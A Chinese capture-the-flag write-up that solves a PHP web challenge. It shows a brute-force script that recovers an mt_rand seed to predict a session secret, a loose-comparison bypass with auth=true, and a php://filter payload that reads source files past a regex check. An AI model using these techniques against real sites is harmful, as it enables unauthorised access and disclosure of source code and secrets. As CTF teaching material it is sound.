php伪随机数和正则绕过(3rd上海赛web3)

首先通过php解密获得源代码,里面主要有以下文件:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$seed = rand(0,99999);
mt_srand($seed);
session_start();
function auth_code($length = 12, $special = true)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special) {
$chars .= '!@#$%^&*()';
}
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $password;
}
$key = auth_code(16, false);
echo "The key is :" . $key . "<br>";
$private = auth_code(10, false);
if(isset($_POST['private'])){
if($_POST['private'] === $_SESSION["pri"]){
header("Location:admin.php");
}else{
$_SESSION["pri"] = $private;
die("No private!");
}
}
?>

该界面完成的是用户登录验证功能。进入管理界面的条件是

1
$_POST['private'] === $_SESSION["pri"]

$_SESSION[‘pri’]是怎么来的呢?由auth_code(10, false)函数定义。该函数主要实现的功能就是生成一定长度的随机数。关键函数用的是mt_srandmt_rand


函数简介:

mt_srand():播种 Mersenne Twister 随机数生成器。

mt_rand():使用 Mersenne Twister 算法返回随机整数。语法:mt_rand(min,max);

例如:

1
2
3
4
5
<?php
mt_srand(mktime());
echo(mt_rand());
?>
输出:1132656473

rand()产生随机数时,如果用srand(seed)播下种子之后,一旦种子相同,产生的随机数将是相同的。


伪随机数问题

mt_rand() 函数是一个伪随机发生器,即如果知道随机数种子是可以预测的。

1
2
3
$seed = 12345;
mt_rand($seed);
$ss = mt_rand();

linux 64 位系统中,rand() 和 mt_rand() 产生的最大随机数都是2147483647,正好是 2^31-1,也就是说随机播种的种子也是在这个范围中的,0 – 2147483647 的这个范围是可以爆破的。
但是用 php 爆破比较慢,有一个 C 的版本,可以根据随机数,爆破出种子 (工具:php_mt_seed。)

在 php > 4.2.0 的版本中,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已由 PHP 自动完成。php 中产生一系列的随机数时,只进行了一次播种,而不是每次调用 mt_rand() 都进行播种。


回到题目中,题目要求anth_code函数生成的16位随机字符串和第二次生成的10位随机字符串一致才会进入后台。根据上面函数漏洞,每个10位的随机数和16位的随机数是一一对应的(并不随机),因此写脚本爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$key_from_server=$_GET['id'];
function auth_code($length = 12, $special = true)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special) {
$chars .= '!@#$%^&*()';
}
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $password;
}
for ($i=0;$i<=99999;$i++){
mt_srand($i);
$key = auth_code(16, false);
if ($key_from_server==$key){
echo auth_code(10, false);
}
}
?>

结果类似:

image

进入admin.php

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if($_GET['authAdmin']!="***********"){
die("No login!");
}
if(!isset($_POST['auth'])){
die("No Auth");
}else{
$auth = $_POST['auth'];
$auth_code = "**********";
if(json_decode($auth) == $auth_code){
;
}else{
header("Location:index.php");
}
}
?>

主要目的是令json_decode($auth) == $auth_code

可用弱类型绕过,auth=true

进入file.php

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if($_POST["auth"]=="***********"){
if(isset($_GET["id"]) && (strpos($_GET["id"],'jpg') !== false))
{
$id = $_GET["id"];
preg_match("/^php:\/\/.*resource=([^|]*)/i", trim($id), $matches);
if (isset($matches[1]))
$id = $matches[1];
if (file_exists("./" . $id) == false)
die("file not found");
$img_data = fopen($id,'rb');
$data = fread($img_data,filesize($id));
echo $data;
}else{
echo "file not found";
}
}
?>

首先GET提交id参数,且参数里必须有‘jpg’

然后对提交的参数进行正则过滤

1
"/^php:\/\/.*resource=([^|]*)/i"

改正则表达式的含义:
php:// + 任意字符或空 + resource + 任意字符

目的就是防止通过伪协议读取flag.php文件。


语法含义
^开头或取反
.匹配除换行符 \n 之外的任何单字符
*匹配前面的子表达式零次或多次
()标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用
[]标记一个中括号表达式的开始
\指明两项之间的一个选择

括号能提取字符串,如(com|cn|net)就可以限制,只能是com或cn或net。


方括号是单个匹配,如[abc]他限制的不是abc连续出现,而是只能是其中一个,这样写那么规则就是找到这个位置时只能是a或是b或是c;

大括号{}: 大括号的用法很简单,就是匹配次数,它需要和其他有意义的正则表达式一起使用。

\^两个含义,只要是^这个字符是在中括号”[]”中被使用的话就是表示字符类的否定,如果不是的话就是表示限定开头。这里说的是直接在”[]”中使用,不包括嵌套使用。


preg_match函数

1
preg_match ( $pattern , $subject , $matches )

搜索subject与pattern给定的正则表达式的一个匹配.

$matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。意思是$matches[1]匹配第一个括号里的匹配的内容

如提交:

1
http://127.0.0.1/test.php?id=php://filter/read=convert.base64-encode/resource=test.php

打印$matches变量:

1
2
3
array (size=2)
0 => string 'php://filter/read=convert.base64-encode/resource=test.php' (length=57)
1 => string 'test.php' (length=8)

(正则看起来没啥用,伪协议主要是迎合正则表达式要求的格式,必须要匹配到,使$id有值,所以jpg的位置不重要)
payload:

1
id=php://filter/jpgread=convert.base64-encode/resource=test.php